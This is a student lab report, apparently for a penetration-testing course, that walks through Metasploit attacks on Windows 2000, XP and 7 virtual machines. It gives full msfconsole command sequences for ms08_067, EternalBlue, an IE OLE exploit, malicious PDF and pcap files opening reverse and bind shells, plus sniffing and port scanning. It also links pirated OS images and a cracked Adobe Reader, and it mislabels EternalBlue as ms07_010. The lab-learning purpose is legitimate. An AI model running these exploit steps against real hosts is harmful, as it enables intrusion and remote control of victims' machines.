MSF基础应用
实验准备:下载并安装所需要镜像及虚拟机
1.安装windows 2000镜像;
下载链接:ed2k://|file|ZRMPSEL_CN.iso|402690048|00D1BDA0F057EDB8DA0B29CF5E188788|/(复制链接到迅雷下载中下载)
安装教程:https://www.eskysky.com/745.html
2.安装Microsoft Windows 7镜像;
下载链接:ed2k://|file|cn_windows_7_enterprise_with_sp1_x64_dvd_u_677685.iso|3265574912|E9DB2607EA3B3540F3FE2E388F8C53C4|/ (复制链接到迅雷下载中下载)
3.安装Microsoft Windows XP镜像;
下载地址:ed2k://|file|CN_WINXP_PRO_ISO.img|530186240|7855069CE4216615D761654E2B75A4F7|/(复制链接到迅雷下载中下载)
密钥链接:https://zhidao.baidu.com/question/454390920351831725.html
一. 实践内容
实验一:一个主动攻击实践,如ms08_067
ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
ms07_010 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。(SMB服务的作用:该服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无。)
攻击方式:ms08_067
靶机:Microsoft Windows 2000
具体步骤:
先对靶机进行ping操作,获取IP地址
在kali中测试靶机与攻击机之间能否ping通 ping 靶机IP ,不手动停止,会一直传数据包,直接 Ctrl+C 手动停止。
攻击者试探靶机是否存在此漏洞 nmap -sS -A --script=smb-vuln-ms08-067 -PO 靶机IP
msfconsole 打开控制台 search ms08-067 查看漏洞位置 use exploit/windows/smb/ms08_067_netapi 选择该漏洞 set payload generic/shell_reverse_tcp 设置攻击的载荷 set RHOSTS 靶机IP 设置靶机IP set LHOSTS kali的IP 设置攻击机IP exploit 进行攻击
测试攻击,获得靶机权限之后输入ipconfig测试一下
攻击方式:ms17_010
靶机:Microsoft Windows 7 x64 (注意一定要64位的)
具体步骤:
msfconsole use auxiliary/scanner/smb/smb_ms17_010 选择攻击漏洞 set RHOSTS 靶机ip 输入靶机ip exploit 对靶机扫描,看是否存在漏洞。下图所示,即为存在漏洞。
use exploit/windows/smb/ms17_010_eternalblue 选择该漏洞 set payload windows/x64/meterpreter/reverse_tcp 设置攻击的载荷 set RHOSTS 靶机IP //设置靶机IP
set LHOSTS kali的IP //设置攻击机IP
exploit //进行攻击
测试攻击,获得靶机权限之后输入ipconfig测试一下
实验二:一个针对浏览器的攻击,如ms11_050
ms07_010 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。(SMB服务的作用:该服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无。)
1.攻击方式:ms14_064
靶机:Microsoft WindowsXP IE浏览器
具体步骤:
打开windowsXP对浏览器设置一下安全权限。
- 右键IE打开设置
- 安全->自定义级别->对没有...见图
- 高级->允许
kali内的代码输入
msfconsole
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set SRVHOST kali的ip //设置攻方
set AllowPowerShellPrompt true //因为msf中自带的漏洞利用exp调用的是 powershell。 所以msf中的exp代码只对安装powershell的系统生效 set LHOST kali的ip set LPORT 4322//自己的学号 set target 0 //设置winXP靶机 exploit //发起渗透攻击
去靶机浏览器中输入URL生成代码(关闭杀软)
执行网址后,回到kali中攻击,注意观察kali中返回数值,出现下图会话时,ctrl+c停止攻击
输入 sessions -i 1 实施攻击
回连成功
2.攻击方式:ms17_010(针对浏览器)
靶机:Microsoft Windows7 IE浏览器
具体步骤:
kali上输入以下的代码
use exploit/windows/smb/ms17_010_eternalblue //进入该模块 show payloads //显示可用载荷 set payload generic/shell_reverse_tcp set RHOST 192.168.19.144 //设置靶机IP,端口默认为445 set LPORT 4322 //成功后回连主机端口 set LHOST 192.168.19.136 //设置攻击机IP exploit //发起渗透攻击
来到靶机IP浏览器,输入http://kali的IP:监听端口(http://192.168.19.136:4322)链接。
攻击成功!
实验三:攻击客户端的实践
Adobe reader:下载链接:http://dt11.oss-cn-beijing.aliyuncs.com/download/adobe reader 9.3中文破解版_274505276.exe(放到迅雷下载,在虚拟机中安装)
1.Adobe攻击
攻击方式:Adobe
靶机:Windows XP
具体步骤:
进入kali输入如下指令
msfconsole //进入控制台
search adobe //进行查找
use windows/fileformat/adobe_cooltype_sing //使用漏洞
info //查看漏洞具体信息(重点当然是description)
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set LPORT 1328//设置端口号
set RHOST 靶机IP//设置靶机IP地址
exploit #攻击
此时生成20184322.pdf,我们进入保存目录cd /root/.msf4/local,复制到共享文件夹中,在移到windowsXP虚拟机中
下一个Adobe reader打开这个pdf文件。
回到kali中开始监听靶机
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set RHOST 靶机IP //设置靶机IP地址
set LPORT 1328 //设置端口号
exploit //攻击
打开靶机,打开pdf文件
回到kali,回连成功! 测试一下!
2.wireshark攻击
攻击方式:WireShark1.4.2
靶机:Windows XP
具体步骤:
kali中输入下面的代码
use exploit/windows/fileformat/wireshark_packet_dect
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
show options //查看设置项
set LHOST 192.168.19.136 //kali IP
set LPORT 4322 //设置攻击端口
set FILENAME lxj.pcap //设置生成的pcap文件名
exploit //发起攻击
把生成的lxj.pcap拷贝到靶机中
然后再回到kali输入以下代码
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set LHOST 192.168.19.136 //kali IP
set LPORT 4322 //设置攻击端口
exploit //监听
在靶机中用wireshark打开lxj这个文件
回到kali中,发现链接成功,测试一下。
实验四:成功应用任何一个辅助模块
1.攻击方式:sniffer(嗅探)
靶机:Windows XP
具体步骤:
可以使用这个功能来看靶机的浏览记录
在kali的msfconsole中输入以下代码
search sniff //看一下嗅探的攻击
use auxiliary/sniffer/psnuffle //选择攻击操作
show options
exploit
这个嗅探攻击不需要设置什么,直接exploit攻击。
然后就去windows xp里访问一个网址。
kali中完全捕捉到了。
2.攻击方式:portscan(端口扫描)
(需要关闭靶机的防火墙,否则不能扫描)
靶机:Windows XP
具体步骤:
可以 search portscan 命令搜索相关的端口扫描脚本
在kali中输入如下的代码
search portscan //看看可以扫什么端口
use auxiliary/scanner/portscan/tcp // 选择tcp脚本
set Rhosts 192.168.10.136 //设置靶机IP
set threads 20
show options //看一下配置文件
run
去到靶机中上一下网
回到kali中查看返回数据(得到了tcp包)
二.实验原理
MSF是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。
MSF的六个模块:
- 查看六种模块源码目录:/usr/share/metasploit-framework/modules
- 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去
- 辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
- 攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
- 空字段模块Nop Modules
- 编码模块Encoders
- 后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行
MSF常用漏洞利用命令:
- search name :用指定关键字搜索可以利用的漏洞模块
- use exploit name :使用漏洞
- show options :显示配置选项
- set TARGET target number :设置目标版本
- exploit :开始漏洞攻击
- sessions -l :列出会话
- sessions -i id :选择会话
- sessions -k id :结束会话
- Ctrl+z :把会话放到后台
- Ctrl+c :结束会话
三.基础问题回答
1.用自己的话解释什么是exploit,payload,encode.
exploit是载具,连接漏洞,将payload传送到靶机中。
payload是载荷,是exploit中shellcode中的主要功能代码,exploit把它送到靶机中后,是真正负责进行攻击代码。
encode是编码,用来改变payload,避免payload中出现漏洞无法处理的字符;其次是为了实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码。
四.实验体会
本次实验我刚开始用的是win7系统,发现即使是关了防火墙win7系统,还有很多漏洞是无法利用的,由此可见我的知识、技术之匮乏。真正的渗透工作肯定是最新的针对win10的攻击,虽然现在不知道如何进行,但是通过这次实验,我对渗透的流程和方法都大概有了一个了解。
在实验过程中我发现其实漏洞的年限都比较久远了,所攻击的系统也很久远,XP,win7都停服了。但这并不意味着现在用的最新系统就没有漏洞就不会有人攻击,还是需要不断努力完善。